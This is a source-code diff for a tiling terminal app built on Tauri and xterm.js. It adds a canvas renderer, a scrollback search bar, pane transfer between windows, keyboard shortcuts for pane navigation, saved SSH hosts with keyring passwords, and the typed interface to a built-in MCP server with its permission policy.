console.warn("openUrl failed:", err),
|
||||
);
|
||||
}),
|
||||
);
|
||||
term.open(container);
|
||||
|
||||
// Use the canvas renderer instead of xterm's default DOM renderer.
|
||||
// The DOM renderer draws the cursor as a separate layered element and,
|
||||
// under the Claude TUI's rapid hide/show (\x1b[?25l/h) + cursorBlink,
|
||||
// leaves a stale cursor block frozen where the cursor used to be (the
|
||||
// "stuck white marker"). The canvas renderer composites the cursor into
|
||||
// the same surface as the text, so hide/show transitions clear cleanly.
|
||||
// Chosen over the WebGL addon because tiletopia runs many panes at once
|
||||
// and Chromium/WebView2 caps live WebGL contexts (~16) — canvas has no
|
||||
// such hard limit. Loaded after open() so the core renderer exists.
|
||||
try {
|
||||
term.loadAddon(new CanvasAddon());
|
||||
} catch (e) {
|
||||
// If canvas init fails for any reason, xterm falls back to the DOM
|
||||
// renderer on its own — degrade gracefully rather than blank the pane.
|
||||
console.warn("CanvasAddon load failed; using DOM renderer:", e);
|
||||
}
|
||||
|
||||
// Load Unicode 11 addon for correct width handling of emoji, CJK, and
|
||||
// box-drawing characters. This prevents cursor drift in TUIs that rely on
|
||||
// Unicode 11 character widths. Loaded after CanvasAddon so the renderer
|
||||
// surface is set before width calculations begin.
|
||||
try {
|
||||
term.loadAddon(new Unicode11Addon());
|
||||
term.unicode.activeVersion = "11";
|
||||
} catch (e) {
|
||||
console.warn("Unicode11Addon load failed:", e);
|
||||
}
|
||||
|
||||
// Load the search addon so find-in-scrollback works. Must be loaded
|
||||
// after open() so the terminal viewport exists for decoration rendering,
|
||||
// and after CanvasAddon since it decorates the same canvas surface.
|
||||
const search = new SearchAddon();
|
||||
searchAddonRef.current = search;
|
||||
term.loadAddon(search);
|
||||
|
||||
// Initial size — fit before asking the PTY for its dimensions.
|
||||
fit.fit();
|
||||
|
||||
|
|
@ -139,33 +231,98 @@ export default function XtermPane({
|
|||
const cols = term!.cols;
|
||||
const rows = term!.rows;
|
||||
|
||||
try {
|
||||
paneId = await spawnPane({ distro, cwd, cols, rows });
|
||||
if (existingPaneId != null) {
|
||||
// Adoption path: a window-transfer landed us here with an existing
|
||||
// PTY id. Don't spawn — replay the scrollback ring first (so the
|
||||
// user sees recent output like a thinking Claude session), then
|
||||
// attach the live listener, resize the PTY to this window's grid,
|
||||
// and release the transfer-refcount.
|
||||
paneId = existingPaneId;
|
||||
paneIdRef.current = paneId;
|
||||
onStatusRef.current?.(`pane ${paneId} adopted`, true);
|
||||
onSpawnRef.current?.(paneId);
|
||||
try {
|
||||
const ringB64 = await getPaneRing(paneId);
|
||||
if (destroyed) return;
|
||||
if (ringB64) {
|
||||
term?.write(b64ToBytes(ringB64));
|
||||
}
|
||||
} catch (e) {
|
||||
console.warn("getPaneRing failed:", e);
|
||||
}
|
||||
if (destroyed) return;
|
||||
unlistenData = await onPaneData(paneId, (b64) => {
|
||||
term?.write(b64ToBytes(b64));
|
||||
onDataReceivedRef.current?.();
|
||||
});
|
||||
// `destroyed` may have flipped during the await — the sync cleanup
|
||||
// already ran and captured a null unlisten, so unlisten here or the
|
||||
// subscription leaks.
|
||||
if (destroyed) {
|
||||
void killPane(paneId);
|
||||
unlistenData?.();
|
||||
return;
|
||||
}
|
||||
unlistenExit = await onPaneExit(paneId, () => {
|
||||
term?.write("\r\n\x1b[33m[pane exited]\x1b[0m\r\n");
|
||||
onStatusRef.current?.(`pane ${paneId} exited`, false);
|
||||
});
|
||||
if (destroyed) {
|
||||
unlistenData?.();
|
||||
unlistenExit?.();
|
||||
return;
|
||||
}
|
||||
// Match the PTY to our cell grid (the source window may have had
|
||||
// different dimensions).
|
||||
try {
|
||||
await resizePane(paneId, cols, rows);
|
||||
} catch (e) {
|
||||
console.warn("resizePane on adopt failed:", e);
|
||||
}
|
||||
// Release the transfer refcount so future killPane calls on this
|
||||
// id are no longer suppressed.
|
||||
try {
|
||||
await claimPane(paneId);
|
||||
} catch (e) {
|
||||
console.warn("claimPane failed:", e);
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
paneId = await spawnPane({ spec, cols, rows });
|
||||
if (destroyed) {
|
||||
void killPane(paneId);
|
||||
return;
|
||||
}
|
||||
paneIdRef.current = paneId;
|
||||
onStatusRef.current?.(`pane ${paneId} alive`, true);
|
||||
onSpawnRef.current?.(paneId);
|
||||
} catch (e) {
|
||||
if (destroyed) return;
|
||||
const msg = `spawn_pane failed: ${e}`;
|
||||
term?.write(`\r\n\x1b[31m${msg}\x1b[0m\r\n`);
|
||||
onStatusRef.current?.(msg, false);
|
||||
return;
|
||||
}
|
||||
|
||||
unlistenData = await onPaneData(paneId, (b64) => {
|
||||
term?.write(b64ToBytes(b64));
|
||||
onDataReceivedRef.current?.();
|
||||
});
|
||||
if (destroyed) {
|
||||
unlistenData?.();
|
||||
return;
|
||||
}
|
||||
|
||||
unlistenExit = await onPaneExit(paneId, () => {
|
||||
term?.write("\r\n\x1b[33m[pane exited]\x1b[0m\r\n");
|
||||
onStatusRef.current?.(`pane ${paneId} exited`, false);
|
||||
});
|
||||
if (destroyed) {
|
||||
unlistenData?.();
|
||||
unlistenExit?.();
|
||||
return;
|
||||
}
|
||||
paneIdRef.current = paneId;
|
||||
onStatusRef.current?.(`pane ${paneId} alive`, true);
|
||||
onSpawnRef.current?.(paneId);
|
||||
} catch (e) {
|
||||
if (destroyed) return;
|
||||
const msg = `spawn_pane failed: ${e}`;
|
||||
term?.write(`\r\n\x1b[31m${msg}\x1b[0m\r\n`);
|
||||
onStatusRef.current?.(msg, false);
|
||||
return;
|
||||
}
|
||||
|
||||
unlistenData = await onPaneData(paneId, (b64) => {
|
||||
term?.write(b64ToBytes(b64));
|
||||
onDataReceivedRef.current?.();
|
||||
});
|
||||
|
||||
unlistenExit = await onPaneExit(paneId, () => {
|
||||
term?.write("\r\n\x1b[33m[pane exited]\x1b[0m\r\n");
|
||||
onStatusRef.current?.(`pane ${paneId} exited`, false);
|
||||
});
|
||||
|
||||
term?.onData((data) => {
|
||||
if (paneId == null) return;
|
||||
const b64 = stringToB64(data);
|
||||
|
|
@ -173,36 +330,100 @@ export default function XtermPane({
|
|||
onInputRef.current?.(b64);
|
||||
});
|
||||
|
||||
// Ctrl+Shift+C / Ctrl+Shift+V — copy selection / paste from clipboard.
|
||||
// Runs before xterm consumes the key, so the textarea never sees a raw
|
||||
// Ctrl+V (which would otherwise inject ^V into the PTY). term.paste()
|
||||
// routes through onData → writeToPane, so broadcasting and bracketed
|
||||
// paste both keep working for free.
|
||||
// Intercept tiling-WM chords before the PTY sees them. All families
|
||||
// share ONE attachCustomKeyEventHandler call — xterm.js replaces the
|
||||
// previous handler on every call, so a second call anywhere would
|
||||
// silently discard all earlier interceptions.
|
||||
//
|
||||
// Uses tauri-plugin-clipboard-manager instead of navigator.clipboard so
|
||||
// WebView2 doesn't surface its native "Allow clipboard access?" prompt.
|
||||
// Family 1: Ctrl+Shift+C / Ctrl+Shift+V — copy selection / paste.
|
||||
// Uses tauri-plugin-clipboard-manager so WebView2 never shows its
|
||||
// native "Allow clipboard access?" prompt. term.paste() routes
|
||||
// through onData → writeToPane so broadcasting + bracketed paste
|
||||
// keep working for free.
|
||||
//
|
||||
// Family 2: Ctrl+Shift+F — open/focus the find-in-scrollback bar.
|
||||
// Swallowed before xterm or the PTY sees the raw keypress. Uses the
|
||||
// stable setSearchOpenRef so the closure never goes stale.
|
||||
//
|
||||
// Family 3: Ctrl+Alt+Arrow / Ctrl+Alt+H/J/K/L — spatial pane focus.
|
||||
// XtermPane emits onNavigate({ kind: "direction", dir }) and returns
|
||||
// false so the chord is swallowed before it reaches the PTY. The
|
||||
// parent (LeafPane → App) resolves the neighbour and bumps
|
||||
// focusTrigger on the new active pane.
|
||||
//
|
||||
// Family 4: Alt+1..9 — index-based pane focus.
|
||||
// Emits onNavigate({ kind: "index", n }) and swallows. Note: bare
|
||||
// Alt+digit is used by some shells (readline digit-argument, vim/nvim)
|
||||
// — this interception is an accepted v1 trade-off (see shortcuts.ts).
|
||||
term?.attachCustomKeyEventHandler((e) => {
|
||||
if (e.type !== "keydown") return true;
|
||||
if (!e.ctrlKey || !e.shiftKey || e.altKey) return true;
|
||||
if (e.code === "KeyC") {
|
||||
const sel = term?.getSelection();
|
||||
if (sel) {
|
||||
void clipboardWriteText(sel).catch((err) =>
|
||||
console.warn("clipboard write failed:", err),
|
||||
);
|
||||
|
||||
// --- Family 1 & 2: Ctrl+Shift+* (no Alt) ---------------------------
|
||||
if (e.ctrlKey && e.shiftKey && !e.altKey) {
|
||||
if (e.code === "KeyF") {
|
||||
// Ctrl+Shift+F — open find-in-scrollback bar.
|
||||
e.preventDefault();
|
||||
setSearchOpenRef.current(true);
|
||||
return false;
|
||||
}
|
||||
if (e.code === "KeyC") {
|
||||
// Ctrl+Shift+C — copy selection to clipboard.
|
||||
const sel = term?.getSelection();
|
||||
if (sel) {
|
||||
void clipboardWriteText(sel).catch((err) =>
|
||||
console.warn("clipboard write failed:", err),
|
||||
);
|
||||
}
|
||||
e.preventDefault();
|
||||
return false;
|
||||
}
|
||||
if (e.code === "KeyV") {
|
||||
// Ctrl+Shift+V — paste from clipboard via term.paste() so
|
||||
// broadcasting and bracketed paste work for free.
|
||||
e.preventDefault();
|
||||
clipboardReadText()
|
||||
.then((text) => {
|
||||
if (text && term) term.paste(text);
|
||||
})
|
||||
.catch((err) => console.warn("clipboard read failed:", err));
|
||||
return false;
|
||||
}
|
||||
e.preventDefault();
|
||||
return false;
|
||||
}
|
||||
if (e.code === "KeyV") {
|
||||
e.preventDefault();
|
||||
clipboardReadText()
|
||||
.then((text) => {
|
||||
if (text && term) term.paste(text);
|
||||
})
|
||||
.catch((err) => console.warn("clipboard read failed:", err));
|
||||
return false;
|
||||
|
||||
// --- Family 3: Ctrl+Alt+Arrow / Ctrl+Alt+H/J/K/L (spatial nav) -----
|
||||
if (e.ctrlKey && e.altKey && !e.shiftKey && onNavigateRef.current) {
|
||||
// Arrow keys
|
||||
const ARROW_DIR: Record<string, "left" | "right" | "up" | "down"> = {
|
||||
ArrowLeft: "left",
|
||||
ArrowRight: "right",
|
||||
ArrowUp: "up",
|
||||
ArrowDown: "down",
|
||||
};
|
||||
// Vim-style HJKL
|
||||
const VIM_DIR: Record<string, "left" | "right" | "up" | "down"> = {
|
||||
KeyH: "left",
|
||||
KeyJ: "down",
|
||||
KeyK: "up",
|
||||
KeyL: "right",
|
||||
};
|
||||
const dir = ARROW_DIR[e.code] ?? VIM_DIR[e.code];
|
||||
if (dir) {
|
||||
e.preventDefault();
|
||||
onNavigateRef.current({ kind: "direction", dir });
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
// --- Family 4: Alt+1..9 (index-based pane focus) -------------------
|
||||
if (e.altKey && !e.ctrlKey && !e.shiftKey && onNavigateRef.current) {
|
||||
const digit = e.code.match(/^Digit([1-9])$/);
|
||||
if (digit) {
|
||||
e.preventDefault();
|
||||
onNavigateRef.current({ kind: "index", n: parseInt(digit[1], 10) });
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
return true;
|
||||
});
|
||||
|
||||
|
|
@ -259,8 +480,18 @@ export default function XtermPane({
|
|||
});
|
||||
ro.observe(container);
|
||||
|
||||
// Focus so typing immediately lands in the terminal.
|
||||
term?.focus();
|
||||
// Focus so typing immediately lands in the terminal — but ONLY if the
|
||||
// host container is actually visible. With multiple tabs (workspaces),
|
||||
// a pane in a hidden tab still mounts and spawns; we must not yank
|
||||
// focus into a tab the user can't see. CSS `visibility: hidden` is
|
||||
// inherited, so the computed style on the container reflects whether
|
||||
// any ancestor (workspace-layer) is hiding us.
|
||||
if (
|
||||
container.isConnected &&
|
||||
getComputedStyle(container).visibility !== "hidden"
|
||||
) {
|
||||
term?.focus();
|
||||
}
|
||||
})();
|
||||
|
||||
return () => {
|
||||
|
|
@ -273,10 +504,12 @@ export default function XtermPane({
|
|||
term = null;
|
||||
termRef.current = null;
|
||||
fitRef.current = null;
|
||||
searchAddonRef.current = null;
|
||||
paneIdRef.current = null;
|
||||
};
|
||||
// distro/cwd are only used at spawn time; intentionally omitted from deps
|
||||
// so remounting doesn't happen if a parent re-renders with the same values.
|
||||
// spec is read once at mount; intentionally omitted from deps so we
|
||||
// don't remount on parent re-renders. Callers force a respawn by
|
||||
// bumping the React `key` (changeShell swaps the leaf id for that).
|
||||
// eslint-disable-next-line react-hooks/exhaustive-deps
|
||||
}, []);
|
||||
|
||||
|
|
@ -318,5 +551,51 @@ export default function XtermPane({
|
|||
}
|
||||
}, [fontSize]);
|
||||
|
||||
return <div ref={containerRef} style={{ width: "100%", height: "100%" }} />;
|
||||
// -------------------------------------------------------------------------
|
||||
// Live colour-theme changes (global theme edit, per-pane override, preset).
|
||||
//
|
||||
// Setting term.options.theme re-tints the renderer immediately; a refresh
|
||||
// forces the canvas surface to repaint already-drawn cells with the new
|
||||
// palette (xterm only re-tints on the next write otherwise). Cell geometry
|
||||
// is unaffected, so no fit()/resize is needed — unlike the font-size path.
|
||||
// -------------------------------------------------------------------------
|
||||
useEffect(() => {
|
||||
const term = termRef.current;
|
||||
if (!term || !colors) return;
|
||||
try {
|
||||
term.options.theme = toXtermTheme(colors);
|
||||
term.refresh(0, term.rows - 1);
|
||||
} catch (e) {
|
||||
console.warn("theme apply failed", e);
|
||||
}
|
||||
// Depend on the individual fields rather than the object identity so a
|
||||
// parent that rebuilds an equal colours object each render doesn't churn.
|
||||
}, [colors?.background, colors?.foreground, colors?.cursor, colors?.selection]);
|
||||
|
||||
// Close the search bar and return focus to the xterm textarea so the user
|
||||
// can resume typing immediately. Queries the well-known xterm helper
|
||||
// textarea selector — the same pattern used in the focusTrigger effect.
|
||||
function closeSearch() {
|
||||
setSearchOpen(false);
|
||||
const ta = containerRef.current?.querySelector<HTMLTextAreaElement>(
|
||||
".xterm-helper-textarea",
|
||||
);
|
||||
ta?.focus();
|
||||
}
|
||||
|
||||
// The outer wrapper is position:relative so the absolutely-positioned
|
||||
// SearchBar anchors inside the pane without escaping to a positioned
|
||||
// ancestor further up the tree. The FitAddon measures containerRef's div
|
||||
// (the inner one), which still fills 100% of the wrapper — no sizing break.
|
||||
return (
|
||||
<div style={{ position: "relative", width: "100%", height: "100%" }}>
|
||||
<div ref={containerRef} style={{ width: "100%", height: "100%" }} />
|
||||
{searchOpen && searchAddonRef.current && (
|
||||
<SearchBar
|
||||
searchAddon={searchAddonRef.current}
|
||||
onClose={closeSearch}
|
||||
/>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
|
|
|||
213
src/ipc.ts
213
src/ipc.ts
|
|
@ -3,11 +3,44 @@ import { listen, type UnlistenFn } from "@tauri-apps/api/event";
|
|||
|
||||
export type PaneId = number;
|
||||
|
||||
/** What to spawn into a fresh PTY. Mirrors the Rust `SpawnSpec` enum. */
|
||||
export type SpawnSpec =
|
||||
| { kind: "wsl"; distro?: string; cwd?: string }
|
||||
| { kind: "powershell" }
|
||||
| {
|
||||
kind: "ssh";
|
||||
host: string;
|
||||
user?: string;
|
||||
port?: number;
|
||||
identityFile?: string;
|
||||
jumpHost?: string;
|
||||
extraArgs?: string[];
|
||||
/** Backend uses this to look up a saved password from keyring at
|
||||
* spawn time. Never echoed back to the frontend. */
|
||||
hostId?: string;
|
||||
};
|
||||
|
||||
/** One saved SSH host. Mirrors the Rust `SshHost` struct (plus the
|
||||
* `hasPassword` flag that the backend sets when listing). */
|
||||
export interface SshHost {
|
||||
id: string;
|
||||
label: string;
|
||||
hostname: string;
|
||||
user?: string;
|
||||
port?: number;
|
||||
identityFile?: string;
|
||||
jumpHost?: string;
|
||||
extraArgs?: string[];
|
||||
/** True iff a credential is stored under this host's id in the system
|
||||
* keyring. Set by the backend on `list_ssh_hosts`; the field is
|
||||
* ignored on `save_ssh_hosts` (use the password commands below). */
|
||||
hasPassword?: boolean;
|
||||
}
|
||||
|
||||
export const listDistros = (): Promise<string[]> => invoke("list_distros");
|
||||
|
||||
export const spawnPane = (args: {
|
||||
distro?: string;
|
||||
cwd?: string;
|
||||
spec: SpawnSpec;
|
||||
cols: number;
|
||||
rows: number;
|
||||
}): Promise<PaneId> => invoke("spawn_pane", args);
|
||||
|
|
@ -20,6 +53,53 @@ export const resizePane = (id: PaneId, cols: number, rows: number): Promise<void
|
|||
|
||||
export const killPane = (id: PaneId): Promise<void> => invoke("kill_pane", { id });
|
||||
|
||||
/** Increment the "do not kill" transfer refcount for a pane. Source window
|
||||
* calls this BEFORE removing the leaf from its tree so the unmount-driven
|
||||
* kill_pane on the source becomes a no-op until the target window's
|
||||
* XtermPane has claimed it. */
|
||||
export const markPaneTransferring = (id: PaneId): Promise<void> =>
|
||||
invoke("mark_pane_transferring", { id });
|
||||
|
||||
/** Decrement the transfer refcount. Target window's XtermPane calls this
|
||||
* after subscribing to pane://{id}/data and replaying the ring snapshot. */
|
||||
export const claimPane = (id: PaneId): Promise<void> =>
|
||||
invoke("claim_pane", { id });
|
||||
|
||||
/** Snapshot of the per-pane scrollback ring as base64. Target window's
|
||||
* XtermPane writes it into xterm.js before attaching the live data
|
||||
* listener so a transferred pane doesn't open blank. */
|
||||
export const getPaneRing = (id: PaneId): Promise<string> =>
|
||||
invoke("get_pane_ring", { id });
|
||||
|
||||
// ---- multi-window pane transfer -------------------------------------------
|
||||
|
||||
export interface PendingInit {
|
||||
leafJson: string;
|
||||
paneId: PaneId;
|
||||
workspaceName: string;
|
||||
}
|
||||
|
||||
/** Open a new window and stash the pending-init payload keyed by the new
|
||||
* window's label. Returns the new label. */
|
||||
export const createPaneWindow = (payload: PendingInit): Promise<string> =>
|
||||
invoke("create_pane_window", { payload });
|
||||
|
||||
/** Read and remove the pending-init for the current window. Null when there
|
||||
* is no pending payload (main window startup, or this call already
|
||||
* consumed it). */
|
||||
export const takePendingWindowInit = (
|
||||
label: string,
|
||||
): Promise<PendingInit | null> =>
|
||||
invoke("take_pending_window_init", { label });
|
||||
|
||||
/** Push this window's workspaces snapshot to the backend aggregator. The
|
||||
* backend debounces and writes the merged envelope to workspace.json. */
|
||||
export const pushWindowWorkspaces = (
|
||||
label: string,
|
||||
workspacesJson: string,
|
||||
): Promise<void> =>
|
||||
invoke("push_window_workspaces", { label, workspacesJson });
|
||||
|
||||
export const onPaneData = (
|
||||
id: PaneId,
|
||||
cb: (b64: string) => void,
|
||||
|
|
@ -38,3 +118,132 @@ export const saveWorkspace = (json: string): Promise<void> =>
|
|||
|
||||
export const loadWorkspace = (): Promise<string | null> =>
|
||||
invoke("load_workspace");
|
||||
|
||||
// ---- SSH hosts -------------------------------------------------------------
|
||||
|
||||
export const listSshHosts = (): Promise<SshHost[]> => invoke("list_ssh_hosts");
|
||||
|
||||
export const saveSshHosts = (hosts: SshHost[]): Promise<void> =>
|
||||
invoke("save_ssh_hosts", { hosts });
|
||||
|
||||
/** Store / replace the saved password for this host id. Plaintext is
|
||||
* IPC'd to the Rust side (in-process, no disk hop) and immediately
|
||||
* written to Windows Credential Manager (DPAPI). */
|
||||
export const setHostPassword = (hostId: string, password: string): Promise<void> =>
|
||||
invoke("set_host_password", { hostId, password });
|
||||
|
||||
export const deleteHostPassword = (hostId: string): Promise<void> =>
|
||||
invoke("delete_host_password", { hostId });
|
||||
|
||||
export const hasHostPassword = (hostId: string): Promise<boolean> =>
|
||||
invoke("has_host_password", { hostId });
|
||||
|
||||
// ---- MCP server -----------------------------------------------------------
|
||||
|
||||
export interface McpStatus {
|
||||
running: boolean;
|
||||
url: string | null;
|
||||
token: string | null;
|
||||
}
|
||||
|
||||
/** Shape of the cached mirror we push to the backend on every workspace
|
||||
* change. Mirrors src-tauri/src/mcp.rs `McpMirror`. */
|
||||
export interface McpMirror {
|
||||
layoutJson: string;
|
||||
/** Only includes leaves with mcpAllow === true. */
|
||||
leaves: Record<string, McpMirroredLeaf>;
|
||||
hosts: McpMirroredHost[];
|
||||
}
|
||||
|
||||
export interface McpMirroredLeaf {
|
||||
paneId: number | null;
|
||||
label?: string;
|
||||
shellKind: "wsl" | "powershell" | "ssh";
|
||||
distro?: string;
|
||||
sshHostId?: string;
|
||||
broadcast: boolean;
|
||||
active: boolean;
|
||||
}
|
||||
|
||||
export interface McpMirroredHost {
|
||||
id: string;
|
||||
label: string;
|
||||
hostname: string;
|
||||
user?: string;
|
||||
port?: number;
|
||||
hasPassword: boolean;
|
||||
}
|
||||
|
||||
export const mcpStart = (): Promise<McpStatus> => invoke("mcp_start");
|
||||
export const mcpStop = (): Promise<McpStatus> => invoke("mcp_stop");
|
||||
export const mcpStatus = (): Promise<McpStatus> => invoke("mcp_status");
|
||||
export const mcpRegenerateToken = (): Promise<McpStatus> =>
|
||||
invoke("mcp_regenerate_token");
|
||||
export const mcpUpdateState = (mirror: McpMirror): Promise<void> =>
|
||||
invoke("mcp_update_state", { mirror });
|
||||
|
||||
// ---- MCP audit log (events) ---------------------------------------------
|
||||
|
||||
export interface McpAuditEntry {
|
||||
tsMs: number;
|
||||
tool: string;
|
||||
argsSummary: string; // already truncated to 80 chars by backend
|
||||
result:
|
||||
| { kind: "ok" }
|
||||
| { kind: "denied"; reason: string; hard: boolean }
|
||||
| { kind: "failed"; msg: string };
|
||||
durationMs: number;
|
||||
}
|
||||
|
||||
export interface McpActionRequest {
|
||||
requestId: string;
|
||||
tool: string;
|
||||
args: unknown;
|
||||
needsConfirm: boolean;
|
||||
reason: string | null;
|
||||
}
|
||||
|
||||
// ---- MCP policy ---------------------------------------------------------
|
||||
|
||||
export interface McpPolicy {
|
||||
version: number;
|
||||
permissions: {
|
||||
deny: string[];
|
||||
ask: string[];
|
||||
allow: string[];
|
||||
};
|
||||
/** SSH-specific capability switches; mirrors Rust SshSafeguards. All
|
||||
* default to false on first load. */
|
||||
sshSafeguards: {
|
||||
allowOpenSsh: boolean;
|
||||
autoAllowSpawnedSsh: boolean;
|
||||
allowAddHost: boolean;
|
||||
};
|
||||
}
|
||||
|
||||
export const mcpPolicyLoad = (): Promise<McpPolicy> =>
|
||||
invoke("mcp_policy_load");
|
||||
|
||||
export const mcpPolicySave = (policy: McpPolicy): Promise<void> =>
|
||||
invoke("mcp_policy_save", { policy });
|
||||
|
||||
/** Compiled-in hard-deny rule labels (the patterns the user CANNOT
|
||||
* override). Loaded once at PolicyTab mount; backend is the SoT. */
|
||||
export const mcpHardDenyLabels = (): Promise<string[]> =>
|
||||
invoke("mcp_hard_deny_labels");
|
||||
|
||||
/** Subscribe to MCP action requests from the backend. Each request is a
|
||||
* tool call the frontend must handle (mutate state) and reply to via
|
||||
* {@link mcpActionReply}. */
|
||||
export const onMcpRequest = (
|
||||
cb: (req: McpActionRequest) => void,
|
||||
): Promise<UnlistenFn> =>
|
||||
listen<McpActionRequest>("mcp://request", (e) => cb(e.payload));
|
||||
|
||||
/** Reply to an MCP action request. The Rust side expects an externally-
|
||||
* tagged Result — `{ Ok: <value> }` on success, `{ Err: <msg> }` on
|
||||
* failure or user rejection. */
|
||||
export const mcpActionReply = (
|
||||
requestId: string,
|
||||
result: { Ok: unknown } | { Err: string },
|
||||
): Promise<void> => invoke("mcp_action_reply", { requestId, result });
|
||||
|
|
|
|||
|
|
@ -1,6 +1,8 @@
|
|||
/* The hitbox is invisible; we render a 4px visible line in the middle
|
||||
via a pseudo-element so the grab area is generous while the visual
|
||||
stays thin. */
|
||||
/* The hitbox is invisible (14px wide); we render a 4px visible line in
|
||||
the middle via a pseudo-element so the grab area is generous while the
|
||||
visual stays thin. Color is bumped above the terminal background so the
|
||||
line is actually visible — at #1a1a1a on #0c0c0c it was nearly invisible
|
||||
and users couldn't find inner gutters. */
|
||||
.gutter {
|
||||
background: transparent;
|
||||
user-select: none;
|
||||
|
|
@ -9,7 +11,7 @@
|
|||
.gutter::before {
|
||||
content: "";
|
||||
position: absolute;
|
||||
background: #1a1a1a;
|
||||
background: #2f2f2f;
|
||||
transition: background 0.12s;
|
||||
}
|
||||
.gutter-h::before {
|
||||
|
|
@ -26,7 +28,9 @@
|
|||
height: 4px;
|
||||
transform: translateY(-50%);
|
||||
}
|
||||
.gutter:hover::before,
|
||||
.gutter.active::before {
|
||||
background: #3a5a8c;
|
||||
.gutter:hover::before {
|
||||
background: #6a8bc0;
|
||||
}
|
||||
.gutter.active::before {
|
||||
background: #5a8cd8;
|
||||
}
|
||||
|
|
|
|||
|
|
@ -8,10 +8,11 @@ import { type GutterInfo, MIN_PANE_PX } from "./tree";
|
|||
* `info.parentBox` is the parent split's bounding box, used to convert
|
||||
* pointer position back into a 0–1 ratio.
|
||||
*
|
||||
* The actual draggable hitbox is a few pixels thick (and centered on the
|
||||
* boundary), but we render a thin visible line via CSS pseudo-elements.
|
||||
* The actual draggable hitbox is wider than the visible line (HITBOX_PX
|
||||
* tall/wide) so the gutter stays easy to grab; CSS renders a thin
|
||||
* centered line via a pseudo-element.
|
||||
*/
|
||||
const HITBOX_PX = 8;
|
||||
const HITBOX_PX = 14;
|
||||
|
||||
export default function Gutter({
|
||||
info,
|
||||
|
|
@ -76,24 +77,26 @@ export default function Gutter({
|
|||
[containerRef, info, flushPending],
|
||||
);
|
||||
|
||||
const onPointerUp = useCallback((e: PointerEvent<HTMLDivElement>) => {
|
||||
if (!draggingRef.current) return;
|
||||
(e.target as HTMLElement).releasePointerCapture(e.pointerId);
|
||||
draggingRef.current = false;
|
||||
setDragging(false);
|
||||
// Make sure the final ratio lands even if the rAF hadn't fired.
|
||||
if (rafRef.current != null) {
|
||||
cancelAnimationFrame(rafRef.current);
|
||||
rafRef.current = null;
|
||||
}
|
||||
if (pendingRatioRef.current != null) {
|
||||
onRatioChange(info.splitId, pendingRatioRef.current);
|
||||
pendingRatioRef.current = null;
|
||||
}
|
||||
}, [info.splitId, onRatioChange]);
|
||||
const onPointerUp = useCallback(
|
||||
(e: PointerEvent<HTMLDivElement>) => {
|
||||
if (!draggingRef.current) return;
|
||||
(e.target as HTMLElement).releasePointerCapture(e.pointerId);
|
||||
draggingRef.current = false;
|
||||
setDragging(false);
|
||||
// Make sure the final ratio lands even if the rAF hadn't fired.
|
||||
if (rafRef.current != null) {
|
||||
cancelAnimationFrame(rafRef.current);
|
||||
rafRef.current = null;
|
||||
}
|
||||
if (pendingRatioRef.current != null) {
|
||||
onRatioChange(info.splitId, pendingRatioRef.current);
|
||||
pendingRatioRef.current = null;
|
||||
}
|
||||
},
|
||||
[info.splitId, onRatioChange],
|
||||
);
|
||||
|
||||
const isH = info.orientation === "h";
|
||||
// Visible 4px line, but the draggable hitbox is wider for grabbability.
|
||||
const halfHit = HITBOX_PX / 2;
|
||||
const style: React.CSSProperties = isH
|
||||
? {
|
||||
|
|
@ -103,7 +106,7 @@ export default function Gutter({
|
|||
height: `${info.box.height * 100}%`,
|
||||
width: `${HITBOX_PX}px`,
|
||||
cursor: "col-resize",
|
||||
zIndex: 10,
|
||||
zIndex: 100,
|
||||
}
|
||||
: {
|
||||
position: "absolute",
|
||||
|
|
@ -112,7 +115,7 @@ export default function Gutter({
|
|||
width: `${info.box.width * 100}%`,
|
||||
height: `${HITBOX_PX}px`,
|
||||
cursor: "row-resize",
|
||||
zIndex: 10,
|
||||
zIndex: 100,
|
||||
};
|
||||
|
||||
return (
|
||||
|
|
|
|||
|
|
@ -58,7 +58,17 @@
|
|||
font-size: 11px;
|
||||
color: #aaa;
|
||||
user-select: none;
|
||||
min-height: 24px;
|
||||
height: 24px;
|
||||
box-sizing: border-box;
|
||||
/* Lock height: a narrow pane used to wrap toolbar items to 2+ rows,
|
||||
which shrank the xterm beneath and reflowed the terminal. nowrap +
|
||||
flex-shrink:0 keeps items at natural width on one row; overflow is
|
||||
left visible so the shell-picker dropdown (rendered below the
|
||||
toolbar) isn't clipped. */
|
||||
white-space: nowrap;
|
||||
}
|
||||
.pane-toolbar > * {
|
||||
flex-shrink: 0;
|
||||
}
|
||||
.pane-label {
|
||||
font: inherit;
|
||||
|
|
@ -74,6 +84,10 @@
|
|||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
max-width: 200px;
|
||||
/* Give up width first when the pane is narrow, so the chips, context
|
||||
indicator, and close button stay visible (overrides .pane-toolbar > *). */
|
||||
flex-shrink: 1;
|
||||
min-width: 0;
|
||||
}
|
||||
.pane-label:hover {
|
||||
background: #222;
|
||||
|
|
@ -123,6 +137,12 @@
|
|||
color: #f0c060;
|
||||
border-color: #c98a1f;
|
||||
}
|
||||
.bcast-chip.mcp-chip.on {
|
||||
/* Green for MCP-allowed — clearly distinct from broadcast's orange. */
|
||||
background: #1a3a1a;
|
||||
color: #80e080;
|
||||
border-color: #2a6a2a;
|
||||
}
|
||||
|
||||
.distro-menu {
|
||||
position: absolute;
|
||||
|
|
@ -159,6 +179,61 @@
|
|||
color: #cce6ff;
|
||||
}
|
||||
|
||||
.shell-menu {
|
||||
min-width: 200px;
|
||||
max-height: 60vh;
|
||||
overflow-y: auto;
|
||||
}
|
||||
.shell-menu-header {
|
||||
font-family: "Cascadia Mono", "JetBrains Mono", "Consolas", monospace;
|
||||
font-size: 9px;
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 0.08em;
|
||||
color: #666;
|
||||
padding: 6px 8px 2px 8px;
|
||||
margin-top: 2px;
|
||||
border-top: 1px solid #2a2a2a;
|
||||
}
|
||||
.shell-menu-header:first-child {
|
||||
border-top: none;
|
||||
margin-top: 0;
|
||||
}
|
||||
.shell-menu-empty {
|
||||
font-family: "Cascadia Mono", "JetBrains Mono", "Consolas", monospace;
|
||||
font-size: 10px;
|
||||
color: #555;
|
||||
padding: 3px 8px;
|
||||
font-style: italic;
|
||||
}
|
||||
.distro-menu-item.shell-menu-manage {
|
||||
margin-top: 4px;
|
||||
border-top: 1px solid #2a2a2a;
|
||||
